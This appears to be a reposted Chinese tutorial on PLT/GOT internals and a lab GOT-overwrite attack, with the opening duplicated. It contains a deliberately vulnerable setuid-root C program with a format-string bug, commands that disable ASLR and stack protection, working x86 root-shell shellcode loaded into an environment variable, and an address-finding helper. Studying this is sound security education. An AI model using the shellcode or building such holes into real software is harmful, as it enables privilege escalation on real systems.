PLT , GOT 介绍及简单 GOT 攻击实验
2017-03-26 22:39
429 查看
转载修改自 http://blog.sina.com.cn/s/blog_70dd16910100r1gi.html
PLT有许多调转指令构成,每一个指令对应一个函数地址的指针。PLT犹如一个跳板,每次需要调用某个函数时,控制权将由PLT传递。
例如下面的程序:
我们利用下面的命令把它编译成SetUID root程序:
通过
我们可以查看PLT的具体内容如下:
上面的这些指令中,我标识的地址就是exit函数入口地址的指针。
看到这里,我们自然就会有一种想法:
如果退出函数使用的调转指令指向我们的shellcode,那么我们就可以制造root shell漏洞了。
但是不幸的是,正如下图所示PLT是只读的;
因此无法改变它的转移指针。
但是上述调转指针并不是直接指向某一指令,而是指向存放这个指令的内存区域首地址。
例如0x804a010指针指向存放exit函数所在的内存区域。更重要的是这个区域是可写的,这一区域就是下面所说的全局转移表GOT。
利用objdump –R ./got_vul我们可以查看这些函数的转移地址如下:
我们的想法:
把shellcode的地址放到环境变量中,并预知其实际地址。如果我们能在GOT表中用Shellcode的地址重0x0804a010所指向的区域,那么当程序认为正在调用exit函数时,实际上却是在调用我们的shellcode。
第一步:关闭内存地址随机化机制
第二步:编译got_vul.c为set-UID root程序,编译时加上编译选项-fno-protector
第三步:在环境变量中存放shellcode
第四步:利用下面函数编译的程序获取Shellcode 地址
第五步:改写GOT并进行攻击
获取地址
进行攻击
参考文献:
Hacking: Chapter 0x300.EXPLOITATION.The Art of Exploitation, 2nd Edition ,by Jon Erickson.
第一部分 过程连接表PLT
由于程序可以用共享库的方式多次使用同一个函数,所以通过一张表来定义所有的函数是非常有用的。为了能利用这种手段,在编译程序会使用一个专用区域,这个区域称为“过程连接表(PLT)”。PLT有许多调转指令构成,每一个指令对应一个函数地址的指针。PLT犹如一个跳板,每次需要调用某个函数时,控制权将由PLT传递。
例如下面的程序:
//got_vul.c #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[1024]; //The following statement has a buffer overflow problem strncpy(buffer, str, sizeof(buffer)-1); printf(buffer); exit(0); } int main(int argc, char **argv) { bof(argv[1]); return 1; }
我们利用下面的命令把它编译成SetUID root程序:
#gcc -fno-stack-protector got_vul.c -g -o got_vul #chmod 4755 got_vul
通过
$objdump –d –j .plt ./got_vul
我们可以查看PLT的具体内容如下:
上面的这些指令中,我标识的地址就是exit函数入口地址的指针。
看到这里,我们自然就会有一种想法:
如果退出函数使用的调转指令指向我们的shellcode,那么我们就可以制造root shell漏洞了。
但是不幸的是,正如下图所示PLT是只读的;
因此无法改变它的转移指针。
但是上述调转指针并不是直接指向某一指令,而是指向存放这个指令的内存区域首地址。
例如0x804a010指针指向存放exit函数所在的内存区域。更重要的是这个区域是可写的,这一区域就是下面所说的全局转移表GOT。
第二部分 全局转移表(GOT)
正如上面所讨论的那样,PLT中转移函数的入口地址的指针存放在PLT表中(是只读的),但是这些函数的入口地址却是存放在另一个可写区域,我们把这个区域称为全局转移表(GOT)。利用objdump –R ./got_vul我们可以查看这些函数的转移地址如下:
我们的想法:
把shellcode的地址放到环境变量中,并预知其实际地址。如果我们能在GOT表中用Shellcode的地址重0x0804a010所指向的区域,那么当程序认为正在调用exit函数时,实际上却是在调用我们的shellcode。
第三部分 攻击 GOT
我们的攻击过程如下:第一步:关闭内存地址随机化机制
sudo sysctl -w kernel.randomize_va_space
第二步:编译got_vul.c为set-UID root程序,编译时加上编译选项-fno-protector
第三步:在环境变量中存放shellcode
export MyShell=$(perl -e 'print "\x90"x4800 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
第四步:利用下面函数编译的程序获取Shellcode 地址
//getenvaaddr.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage:%s<environment var> <target program name>\n",argv[0]); exit(0); } ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; //argv[0]:正在执行的程序名称,本程序中:getenvaaddr //argv[2]:即将执行的漏洞程序的名称(包括路径),本程序中:./got_vul //Linux ubuntu 系统中已经验证两者名称差一个字符,就会有两个字节的地址偏移 printf("%s will be at %p\n", argv[1], ptr); return 0; }
第五步:改写GOT并进行攻击
获取地址
进行攻击
参考文献:
Hacking: Chapter 0x300.EXPLOITATION.The Art of Exploitation, 2nd Edition ,by Jon Erickson.
相关文章推荐
- 实验环境的简单介绍
- (转)SQL盲注攻击的简单介绍
- 简单介绍一下什么是注入攻击
- SQL盲注攻击的简单介绍
- csrf攻击简单介绍
- 关于SYN洪泛攻击简单介绍
- SQL盲注攻击的简单介绍
- SQL盲注攻击的简单介绍
- 两个小实验简单介绍@Scope("prototype")
- 网络攻击简单介绍
- 重放攻击简单介绍 ( replay attack )
- SQL盲注攻击的简单介绍
- 实验吧---简单的登陆题(CBC字节翻转攻击)
- PPP的协商过程简单介绍
- UML建模过程(超简单介绍)
- 介绍iBATIS的SQL Map的简单例子
- 数据库访问简单实现edainfo-model(一)——简要介绍
- Web Services的简单介绍
- 第一篇---简单介绍
- 线程简单介绍